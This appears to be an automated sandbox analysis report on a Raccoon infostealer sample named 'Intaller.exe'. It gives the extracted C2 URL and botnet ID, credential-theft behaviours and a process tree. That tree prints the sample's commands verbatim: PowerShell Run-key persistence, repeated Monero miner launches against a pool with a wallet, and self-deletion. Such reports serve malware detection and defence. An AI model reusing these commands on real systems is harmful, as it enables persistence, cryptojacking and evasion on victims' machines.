Analysis

  • max time kernel
    155s
  • max time network
    136s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    11/09/2021, 10:37

General

  • Target
    Intaller.exe
  • Size 567KB
  • Sample210911-mntbjaeddj
  • SHA256 04157eb6cdd54ef10f305bb2feb43eafa0c0335dea91afd4c153101737fa3dde
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • raccoon

Botnet
  • fd34ae8fb78d0554aa7caf12c271e01efb3342f6

Attributes
  • url4cnc

    https://telete.in/jinnlitena1

rc4.plain
rc4.plain

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

    suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

  • Downloads MZ/PE file
  • Executes dropped EXE 1 IoCs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Suspicious use of SetThreadContext 23 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies system certificate store 2 TTPs 9 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Intaller.exe
    "C:\Users\Admin\AppData\Local\Temp\Intaller.exe"
    1⤵
    • Loads dropped DLL
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:684
    • C:\Users\Admin\AppData\Local\Temp\hoWIjaX2sc.exe
      "C:\Users\Admin\AppData\Local\Temp\hoWIjaX2sc.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1120
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Remove-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'DriverService';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'DriverService' -Value '"C:\Users\Admin\AppData\Roaming\WinServices\DriversService.exe"' -PropertyType 'String'
        3⤵
        • Adds Run key to start application
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2032
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
        3⤵
          PID:1800
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
          3⤵
            PID:1904
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
            3⤵
              PID:868
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
              3⤵
                PID:768
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                3⤵
                  PID:1504
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                  3⤵
                    PID:684
                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                    3⤵
                      PID:548
                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                      3⤵
                        PID:1644
                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                        3⤵
                          PID:1008
                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                          3⤵
                            PID:1796
                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                            3⤵
                              PID:1484
                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                              3⤵
                                PID:664
                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                                3⤵
                                  PID:756
                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                                  3⤵
                                    PID:288
                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                                    3⤵
                                      PID:972
                                    • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                                      3⤵
                                        PID:944
                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                                        3⤵
                                          PID:1552
                                        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                                          3⤵
                                            PID:1312
                                          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                                            3⤵
                                              PID:1144
                                            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                                              3⤵
                                                PID:1648
                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                                                3⤵
                                                  PID:1504
                                                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                                                  3⤵
                                                    PID:684
                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe
                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe --algo rx/0 --donate-level 0 --max-cpu-usage 50 -o xmr.2miners.com:2222 -u 44F6hYbmZKLNA5hqDbu3LEMF74E4A6FqXB6GZSaamunHC569o4HBeDwd8jp2ac7RjqMijmGSWKDRMFgFXC9TTSarFzGpC3M -p x
                                                    3⤵
                                                      PID:900
                                                  • C:\Windows\SysWOW64\cmd.exe
                                                    cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\Intaller.exe"
                                                    2⤵
                                                    • Deletes itself
                                                    • Suspicious use of WriteProcessMemory
                                                    PID:884
                                                    • C:\Windows\SysWOW64\timeout.exe
                                                      timeout /T 10 /NOBREAK
                                                      3⤵
                                                      • Delays execution with timeout.exe
                                                      PID:552
                                                • C:\Windows\system32\wbem\WmiApSrv.exe
                                                  C:\Windows\system32\wbem\WmiApSrv.exe
                                                  1⤵
                                                    PID:1288

                                                  Network

                                                        MITRE ATT&CK Enterprise v6

                                                        Replay Monitor

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                                                        Downloads

                                                        memory/684-60-0x0000000075C71000-0x0000000075C73000-memory.dmp

                                                        memory/684-62-0x0000000000400000-0x0000000002B9A000-memory.dmp

                                                        memory/684-61-0x0000000000220000-0x00000000002AF000-memory.dmp

                                                        memory/1120-79-0x0000000000240000-0x0000000000241000-memory.dmp

                                                        memory/1120-87-0x00000000002F0000-0x00000000002FA000-memory.dmp

                                                        memory/1120-84-0x000000001B900000-0x000000001BFB5000-memory.dmp

                                                        memory/1120-78-0x000000001B3A0000-0x000000001B3A2000-memory.dmp

                                                        memory/1120-75-0x0000000000C60000-0x0000000000C61000-memory.dmp

                                                        memory/2032-86-0x000000001AC74000-0x000000001AC76000-memory.dmp

                                                        memory/2032-85-0x000000001AC70000-0x000000001AC72000-memory.dmp

                                                        memory/2032-88-0x00000000023C0000-0x00000000023C1000-memory.dmp

                                                        memory/2032-83-0x000000001ACF0000-0x000000001ACF1000-memory.dmp

                                                        memory/2032-82-0x0000000001F90000-0x0000000001F91000-memory.dmp

                                                        memory/2032-89-0x00000000023F0000-0x00000000023F1000-memory.dmp

                                                        memory/2032-90-0x000000001C130000-0x000000001C131000-memory.dmp

                                                        memory/2032-81-0x000007FEFB9F1000-0x000007FEFB9F3000-memory.dmp